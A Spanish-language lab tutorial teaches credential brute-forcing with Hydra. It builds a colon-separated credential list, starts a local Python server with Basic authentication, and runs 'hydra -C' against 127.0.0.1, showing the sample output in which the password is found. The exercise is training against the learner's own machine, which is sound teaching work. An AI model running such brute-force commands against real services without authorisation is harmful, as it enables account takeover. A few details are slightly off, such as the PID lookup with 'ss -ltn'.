Ataque con Credenciales Separadas por Dos Puntos con Hydra

Introducción

En este laboratorio, aprenderás a realizar un ataque basado en credenciales utilizando Hydra. El laboratorio se centra en la utilización de un archivo de credenciales separado por dos puntos que contiene combinaciones de nombre de usuario/contraseña para descifrar las credenciales de inicio de sesión de un servicio objetivo.

Comenzarás creando un archivo credentials.txt con pares nombre de usuario:contraseña, utilizando un editor de texto como nano. A continuación, aprenderás cómo cargar este archivo en Hydra utilizando la opción -C, lo que permitirá a Hydra intentar de forma eficiente múltiples combinaciones de inicio de sesión contra el objetivo. Finalmente, verificarás que la salida coincide con las credenciales utilizadas en el ataque.

Crear un archivo de credenciales de inicio de sesión:contraseña

En este paso, crearás un archivo que contenga nombres de usuario y contraseñas, una combinación por línea, separadas por dos puntos. Este archivo se utilizará posteriormente con Hydra para intentar descifrar las credenciales de inicio de sesión de un servicio objetivo.

Primero, comprendamos el formato requerido para el archivo de credenciales. Cada línea debe contener un nombre de usuario, dos puntos (:) y la contraseña correspondiente. Por ejemplo:

username1:password1
username2:password2

Ahora, creemos el archivo. Usaremos el editor de texto nano, que es simple y fácil de usar. Abre tu terminal y navega al directorio ~/project si aún no estás allí:

cd ~/project

Abre un nuevo archivo llamado credentials.txt en el directorio ~/project usando nano:
```
nano credentials.txt
```
En el editor nano, añade las siguientes combinaciones de nombre de usuario/contraseña. Estas son las credenciales que Hydra intentará usar.
```
admin:password
user1:123456
test:test
root:toor
```
Para guardar el archivo, presiona Ctrl+O (Guardar). Nano te pedirá el nombre del archivo. Simplemente presiona Enter para aceptar el nombre predeterminado (credentials.txt).
Para salir de nano, presiona Ctrl+X.

Ahora, verifiquemos que el archivo se haya creado y contenga el contenido correcto. Usa el comando cat para mostrar el contenido del archivo credentials.txt:

cat credentials.txt

Debes ver las combinaciones de nombre de usuario/contraseña que ingresaste anteriormente:

admin:password
user1:123456
test:test
root:toor

Ahora has creado correctamente un archivo de credenciales que se puede usar con Hydra. Este archivo contiene una lista de posibles nombres de usuario y contraseñas que Hydra intentará contra el servicio objetivo.

Configurar un Servidor HTTP Básico con Autenticación

En este paso, configurarás un servidor HTTP simple que requiere autenticación básica. Este servidor actuará como nuestro objetivo para el ataque con Hydra en el siguiente paso. Usaremos un script de Python para esto.

Primero, asegúrate de estar en el directorio ~/project:

cd ~/project

Ahora, crea un nuevo archivo de Python llamado webserver.py usando nano:

nano webserver.py

Pega el siguiente código Python en el editor:

import http.server
import socketserver
import base64

PORT = 8000

class AuthHandler(http.server.SimpleHTTPRequestHandler):
    def do_HEAD(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_AUTHHEAD(self):
        self.send_response(401)
        self.send_header('WWW-Authenticate', 'Basic realm="My Realm"')
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        auth = self.headers.get('Authorization')
        if auth == None:
            self.do_AUTHHEAD()
            self.wfile.write(b"Authentication Required")
        elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password base64 encoded
            http.server.SimpleHTTPRequestHandler.do_GET(self)
        else:
            self.do_AUTHHEAD()
            self.wfile.write(b"Authentication Failed")

Handler = AuthHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

Este script crea un servidor HTTP básico en el puerto 8000. Requiere autenticación básica. El nombre de usuario correcto es admin y la contraseña es password. La cadena codificada en base64 YWRtaW46cGFzc3dvcmQ= representa admin:password.

Guarda el archivo (Ctrl+O, luego Enter) y sale de nano (Ctrl+X).

Ahora, ejecuta el script de Python para iniciar el servidor HTTP. Lo ejecutaremos en segundo plano para que puedas seguir usando el terminal:

nohup python3 webserver.py > /dev/null 2>&1 &

El comando nohup permite que el proceso continúe ejecutándose incluso si cierras el terminal. > /dev/null 2>&1 redirige la salida estándar y el error estándar a /dev/null, evitando que la salida del servidor ensucie tu terminal. El & al final ejecuta el comando en segundo plano.

Para confirmar que el servidor está funcionando, puedes comprobar si un proceso está escuchando en el puerto 8000:

ss -ltn | grep ':8000'

Debes ver una salida similar a esta, lo que indica que un proceso está escuchando en el puerto 8000:

LISTEN 0      4096   0.0.0.0:8000      0.0.0.0:*

Mantén este servidor en funcionamiento para el siguiente paso.

Atacar HTTP con Archivo de Credenciales usando Hydra

En este paso, usarás Hydra para atacar el servicio HTTP que configuraste en el paso anterior. Utilizarás la opción -C para cargar el archivo de credenciales que creaste en el Paso 1, lo que permitirá a Hydra intentar de forma eficiente múltiples combinaciones de nombre de usuario/contraseña.

Asegúrate de estar en el directorio ~/project:

cd ~/project

Ahora, ejecuta el siguiente comando de Hydra para atacar el servidor HTTP que se ejecuta en 127.0.0.1 en el puerto 8000:

hydra -C credentials.txt 127.0.0.1 http-get / -s 8000 -vV

Analicemos este comando:

hydra: El comando para ejecutar la herramienta Hydra.
-C credentials.txt: Esta opción especifica la ruta al archivo de credenciales que creaste. Hydra leerá las combinaciones de nombre de usuario/contraseña de este archivo.
127.0.0.1: La dirección IP del objetivo. Esta es la dirección de bucle de retorno, que se refiere a tu máquina local.
http-get /: Especifica el servicio a atacar (HTTP) y la ruta de la solicitud (/). http-get es un módulo que realiza solicitudes HTTP GET.
-s 8000: Especifica el número de puerto del servicio objetivo. Nuestro servidor HTTP se ejecuta en el puerto 8000.
-vV: Habilita el modo detallado, que muestra los intentos de inicio de sesión y las credenciales encontradas.

Hydra ahora intentará realizar una fuerza bruta del servidor HTTP utilizando las combinaciones de nombre de usuario/contraseña del archivo credentials.txt. Intentará cada combinación contra el servicio objetivo.

Debes ver la salida de Hydra indicando que está probando diferentes combinaciones de nombre de usuario/contraseña. Si Hydra encuentra correctamente las credenciales correctas (admin:password), las mostrará en la salida.

Ejemplo de salida (ataque exitoso):

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at ...
[DATA] max 16 tasks per 1 server, overall 16 tasks, 4 login tries (l:4/p:1), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:8000/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 1 of 4 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user1" - pass "123456" - 2 of 4 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "test" - 3 of 4 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "toor" - 4 of 4 [child 3] (0/0)
[8000][http-get] host: 127.0.0.1   login: admin   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at ...

Si el ataque tiene éxito, Hydra imprimirá el nombre de usuario y la contraseña correctos.

Confirmar las Credenciales Encontradas

En este paso, confirmarás que las credenciales encontradas por Hydra durante el ataque del paso anterior coinciden con las credenciales esperadas en el archivo credentials.txt y el script webserver.py. Esto verifica que Hydra identificó correctamente la combinación de inicio de sesión válida.

En el paso anterior, la salida de Hydra debería haber mostrado la siguiente línea (o similar):

[8000][http-get] host: 127.0.0.1   login: admin   password: password

Esta línea indica que Hydra encontró correctamente el nombre de usuario admin y la contraseña password para el servicio objetivo.

Ahora, verifiquemos que estas credenciales estén presentes en los archivos que creamos.

Verificar las credenciales en credentials.txt:

Usa el comando cat para mostrar el contenido del archivo credentials.txt:
```
cat credentials.txt
```
Confirma que el archivo contiene la línea admin:password. Esta es una de las combinaciones que Hydra intentó.
Verificar las credenciales en webserver.py:

Usa el comando cat para mostrar el contenido del archivo webserver.py:
```
cat webserver.py
```
Busca la línea que verifica el encabezado de autenticación codificado en base64. Deberías encontrar una línea similar a esta:
```
elif auth == 'Basic YWRtaW46cGFzc3dvcmQ=': ## admin:password base64 encoded
```
La cadena YWRtaW46cGFzc3dvcmQ= es la codificación base64 de admin:password. Esto confirma que el servidor está configurado para aceptar admin como nombre de usuario y password como contraseña.

Al verificar que las credenciales encontradas por Hydra coinciden con las credenciales configuradas en el script del servidor y presentes en tu archivo de credenciales, confirmas el éxito del ataque de fuerza bruta utilizando la opción -C.

Finalmente, detengamos el proceso del servidor HTTP en segundo plano. Puedes encontrar el ID del proceso (PID) usando el comando ss nuevamente:

ss -ltn | grep ':8000'

La salida mostrará el PID en la segunda columna. Por ejemplo:

LISTEN 0      4096   0.0.0.0:8000      0.0.0.0:*    users:(("python3",pid=12345,fd=3))

En este ejemplo, el PID es 12345. Usa el comando kill para detener el proceso, reemplazando [PID] con el PID real que encontraste:

kill [PID]

Por ejemplo, si el PID era 12345:

kill 12345

Puedes verificar que el servidor se ha detenido ejecutando ss -ltn | grep ':8000' nuevamente. No debería haber ninguna salida.

Resumen

En este laboratorio, aprendiste a crear un archivo de credenciales llamado credentials.txt que contiene combinaciones de nombre de usuario y contraseña separadas por dos puntos, con cada combinación en una nueva línea. Este archivo se almacena en el directorio ~/project y se prepara para su uso con Hydra.

También aprendiste a configurar un servidor HTTP básico con autenticación utilizando un script de Python, que sirvió como objetivo del ataque.

Finalmente, utilizaste Hydra con la opción -C para cargar el archivo de credenciales y realizar un ataque de fuerza bruta contra el servidor HTTP, demostrando cómo probar de manera eficiente múltiples combinaciones de inicio de sesión. Confirmaste que las credenciales encontradas coincidían con los valores esperados, verificando el éxito del ataque.